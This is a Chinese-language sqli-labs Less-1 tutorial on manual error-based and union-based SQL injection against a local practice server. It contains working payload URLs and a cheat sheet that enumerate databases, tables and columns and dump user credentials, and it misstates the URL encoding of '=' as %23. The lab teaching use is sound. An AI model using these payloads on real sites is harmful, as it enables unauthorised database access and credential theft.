環境准備:
Phpstudy (PHP+Apache+Mysql)
Sql-lab
首先了解下基礎知識:
URL編碼:
因為在瀏覽器中,當我們訪問一個網址的時候,瀏覽器會自動將用戶輸入的網址進行URL編碼,因為Http協議中參數的傳輸是"key=value"這種鍵值對形式的,所以會將“=”,“#”等字常見的字符進行URL編碼。等號的URL編碼為%23,空格是%20,單引號是%27, 井號是%23,雙引號是%22等,(詳情可參考http://www.w3school.com.cn/tags/html_ref_urlencode.html)
因為涉及到Mysql數據庫,在插入數據庫語句時會用到Mysql數據庫的注釋符
Mysql支持三種注釋方式:
1.從‘#'字符從行尾。
2.從‘-- '序列到行尾。請注意‘-- '(雙破折號)注釋風格要求第2個破折號后面至少跟一個空格符(例如空格、tab、換行符(用%20或者+表示空格)等等)。
3.從/*序列到后面的*/序列。結束序列不一定在同一行中,因此該語法允許注釋跨越多行。
SQL手工注入的基本流程:
1、首先判斷是什么類型的注入,有沒過濾了關鍵字,能不能通過加入注釋符繞過
2、接着獲取當前數據庫用戶,版本,當前連接的數據庫等信息。
3、然后一般是獲取用戶賬戶密碼的那個數據庫表的信息
4、接着獲取列信息
5、最后就獲取數據了
為了方便學習查看,可以在源碼中的$sql下一句語句寫以下php語句(就是輸出拿到數據庫查詢的完整語句是怎么樣的)
echo "你的 sql 語句是:".$sql."<br>";
Less-1 -- GET-Error based - String quotes (報錯型注入)
首先點開第一個練習,URL為http://192.168.139.131/sqli-lab/Less-1/
根據提示信息,給URL傳入參數,然后查看輸入不同的值頁面返回的數據的不同
嘗試如果輸入的值id不是整數,那么我們可以傳入一個非整數來看看,則不會返回數據;
第一步:判斷注入點是否存在
通過替換id的值可以肯出頁面返回的信息是不同的,經嘗試所以手賤的嘗試添加個引號
在參數id后加上引號后發現頁面報錯,這里可以看到報錯信息直接顯示在頁面上,根據報錯信息可以看出數據庫是Mysql數據庫的。在測試SQL注入時,如果頁面上沒有很明顯的報錯信息時,可以將數據包放到Burp中觀察返回數據包的大小來判斷。
由上圖可以看出報錯信息是:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''8'' LIMIT 0,1' at line 1
從報錯信息中可以看出來一部分SQL語句:
’ 8’ ’ LIMIT 0,1
在這里的8' 是我們傳入的參數,從報錯信息大致可以才出來后台SQL語句形式
select XXX, XXX from users where id='$_GET[id]' limit 0,1
那么結合我們剛剛傳入的id值則可以組成的SQL語句大致為:
select XXX, XXX from users where id=' 8’ ' limit 0,1
如果是在Mysql數據庫中傳入畸形參數-比如說單引號,數據庫語句就無法執行,會一直處於等待閉合的狀態,但是對於SQL執行語句來說,它會認為這是一個錯誤的SQL語句,並且返回一個錯誤提示信息。所以此時我們應該閉合單引號或者是注釋掉單引號。
select XXX, XXX from users where id=' 8’ ‘ ' limit 0,1
或者注釋掉后面的單引號
select XXX, XXX from users where id=' 8’ -- ' limit 0,1 (’-- ’ 采用雙短線+空格注釋后面的語句)
或
select XXX, XXX from users where id=' 8’ # ' limit 0,1 (采用’#‘注釋)
由上面兩幅圖可以看出,數據正常返回,說明SQL語句正常執行了,后面的單引號被注釋了
注意點:
1、為什么是 ‘--+’ 而不是 ‘—‘
因為這里字符 ‘-‘ 和字符 ‘+‘ 在URL中都是有固定的含義的 , 比如說 ‘+’ 就在URL編碼中就代表空格 , 而URL編碼中 ‘-‘ 不用編碼
2、為什么 ‘--+’ 沒有被URL
因為由於這里我們是用+代替了空格, 因此不需要進行編碼 , 我們也可以不用 ’+’ 而使用空格的URL編碼 , 那么編碼得到的URL就應該是 :
http://192.168.139.131/sqli-lab/Less-1/?id=8' --%20
3、’#’ 又為什么必須得編碼,不編碼不可以嗎?
不可以 , 因為 ’#’ 在URL中是有固定的含義的 , 表示頁面中的錨點 , 如果不進行編碼瀏覽器就會將其當成頁面的錨點 , 而這里我們是需要將其作為數據傳輸給服務器的 , 因此需要進行URL編碼。
現在我們能控制的字段是id后面傳入的參數,然后拼接到原來的SQL語句中執行,所以通過構造傳入不同的id參數,達到控制系統內執行我們所需要的SQL語句。
所以接下來第二步:猜解字段長度
http://192.168.139.131/sqli-lab/Less-1/?id=8' order by 3 --+
從上面對比可以看出,數據庫中字段值為3
通過Order by X 判斷數據庫中字段數,如果X是小於等於數據庫中字段值頁面則會返回正常數據,如果X大於數據庫中字段值也會則會出錯
SQL UNION 操作符:
(1)UNION 操作符用於合並兩個或多個 SELECT 語句的結果集 (2)請注意,UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有相似的數據類型。同時,每條 SELECT 語句中的列的順序必須相同。默認地,UNION 操作符選取不同的值。如果允許重復的值,請使用 UNION ALL (3)對於union而言,如果第一個Sql查詢語句為錯誤的話,那么它會將第二個SQL語句的查詢結果作為最后的輸出
第三步:確定數據庫中字段在頁面上的回顯位:
使用union聯合查詢后發現頁面返回的數據沒變,這是因為如果左邊的SQL語句正確執行那么就會只返回左邊第一個查詢語句的運行結果,那么我們只要讓第一行查詢的結果是空集(即union左邊的select子句查詢結果為空),那么我們union右邊的查詢結果自然就成為了第一行,就打印在網頁上了。
這個id傳遞的是數字,而且一般都是從1開始自增的,我們可以把id值設為非正數(負數或0),浮點數,字符型或字符串都行,主要是使左邊的查詢語句報錯就行。
從上面的union select 1,2, 3 --+語句的執行結果可以看出第2位和第3位是回顯位—是數據庫中字段可以顯示在頁面上的位置
所以可以通過替換union select語句中的第2個字段和第三個字段來查詢我們所需要的信息,如:
user(): #返回當前數據庫連接使用的用戶 database(): #返回當前數據庫連接使用的數據庫 version(): #返回當前數據庫的版本 @@datadir #數據庫路徑 @@version_compile_os #操作系統版本
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,database(), user() --+
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,@@datadir, @@version --+
從上面可以看到,通過頁面回顯位顯示出特定的所需要的值,包括數據庫用戶,物理路徑等
在數據庫中執行查詢語句時,如果頁面顯示位比較少,又不想重復性操作,這時我們就用到數據庫的連接函數了,常用的就concat和concat_ws,其中concat_ws的第一個參數是連接字符串的分隔符,還會用到group_concat(可以把查詢出來的多行連接起來)
具體連接函數用法詳情請參考:
https://www.cnblogs.com/yingmo/p/6148360.html
http://192.168.139.131/sqli-lab/Less-1/?id=-8' UNION SELECT 1,2,concat_ws(char(32,58,32),user(),database(),version(),@@datadir,@@version_compile_os) --+
查詢數據庫
SQL注入核心就是找到當前數據庫,由上圖可以看出當前數據庫是security,當然還可以看到當前連接數據庫的用戶是root,因為root權限比較高,我們不僅可以查看到自己當前的數據看還可以看到其他的數據庫信息。
在找到當前的數據庫后,如果還想看下其他的數據庫的內容,可以用這個語句查詢所有的數據庫:
http://192.168.139.131/sqli-lab/Less-1/?id=-8' UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+
接下來查詢security數據庫中有哪些表
首先說一下mysql的數據庫information_schema,他是系統數據庫,安裝完就有,記錄是當前數據庫的數據庫,表,列,用戶權限等信息,下面說一下常用的幾個表
(1)SCHEMATA表:儲存mysql所有數據庫的基本信息,包括數據庫名,編碼類型路徑等,show databases的結果取之此表。 (2)TABLES表:儲存mysql中的表信息,(當然也有數據庫名這一列,這樣才能找到哪個數據庫有哪些表嘛)包括這個表是基本表還是系統表,數據庫的引擎是什么,表有多少行,創建時間,最后更新時間等。show tables from schemaname的結果取之此表 (3)COLUMNS表:提供了表中的列信息,(當然也有數據庫名和表名稱這兩列)詳細表述了某張表的所有列以及每個列的信息,包括該列是那個表中的第幾列,列的數據類型,列的編碼類型,列的權限,獵德注釋等。是show columns from schemaname.tablename的結果取之此表。
詳細請看:
http://wenku.baidu.com/link?url=bIA38Slp-g2Bob4VDuTSVY8e04Beqq9Xac4I90UMC9ziQuzxiukpEh5abPK-woB9tuQ4DuY_KhKW-eTHH6ACSiMJmRhctiHvijOEFmENBbS
查詢數據庫security中的數據表信息
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
或者
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
這里的database()函數進行了數據庫查詢,因為我們已經查到了當前的數據庫為security,所有這里還可以用單引號括把數據庫的名稱用單引號括起來'security'。
還可以通過hex編碼數據庫名,當然如果嫌麻煩的話這里還可以直接將數據表用hex編碼,Firefox自帶的hackbar插件就有。注hex編碼后在前面加上0x表明這里是16進制編碼。
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
因為我們進行SQL注入時一般是查找用戶登錄信息,包括用戶名密碼等信息,所以根據數據特性,一般用戶名字段都是放在user表中
查詢數據表user中的數據列信息:
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
根據列查詢特定字段值:
知道了數據庫、表名、各個字段名可以直接進行查詢了,不需借助information_schanem數據庫了。
http://192.168.139.131/sqli-lab/Less-1/?id=-8' UNION SELECT 1,2,group_concat(char(32,58,32),id,username,password) from users --+
http://192.168.139.131/sqli-lab/Less-1/?id=-8' union select 1,username,password from users where id =2--+
也許很多人可能會想,這里和開始有什么區別嗎?只要我在開始的時候修改那個參數id的值,豈不就可以獲取其他的字段信息了嗎?何必如此呢?但是如果你這么想,那么你忽略了一點就是,之前的情況下,你是不知道表名的。你只可以查詢指定的數據庫、表名、字段信息,但是現在你可以進行修改,查詢其他系統的數據庫的信息了!
簡單的對之前的信息進行整理:
order by -- + 判斷字段數目 union select -- + 聯合查詢收集信息 id=1′ and 1=2 UNION SELECT 1,2,database() -- + 查詢當前數據庫 id=1’ and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata -- +查詢所有數據庫 id=1′ and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- +查詢表名 id=1′ and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ -- + 查詢列名 id=1′ and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users -- + 查詢字段值
參考鏈接:
https://www.freebuf.com/articles/web/160352.html https://blog.csdn.net/u012763794/article/details/51207833# https://blog.csdn.net/Fly_hps/article/details/80234840?utm_source=blogxgwz1